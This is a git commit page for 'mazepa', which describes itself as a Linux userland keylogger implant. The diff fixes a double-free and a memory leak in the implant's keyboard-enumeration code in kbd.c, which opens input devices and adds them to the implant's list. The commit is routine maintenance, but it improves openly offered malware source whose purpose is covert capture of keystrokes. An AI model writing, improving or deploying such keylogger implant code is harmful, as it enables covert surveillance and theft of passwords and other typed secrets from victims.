mazepa

~ linux userland keylogger

git clone https://github.com/djnnvx/mazepa.git

commit 18b79590774d0d278613539853a2d55d0ccf36aa
parent 43f06e53082b3ece4cad85fb0062b57a4a5ffdbc
Author: djnn <[email protected]>
Date: Sun, 18 Jan 2026 15:52:22 +0900

fix(implant): double-free + memory leak

Diffstat:

mazepa-implant/sources/kbd.c

++++++-

1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/mazepa-implant/sources/kbd.c b/mazepa-implant/sources/kbd.c
@@ -98,6 +98,7 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
             DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno));
 #endif
 
+            free(kbd);
             continue;
         }
 
@@ -114,6 +115,10 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
         TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
     }
 
-    array_free((int8_t **)char_devices);
+    for (int i = 0; i < possible_paths; i++) {
+        free(char_devices[i]);
+    }
+    free(char_devices);
+
     return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL;
 }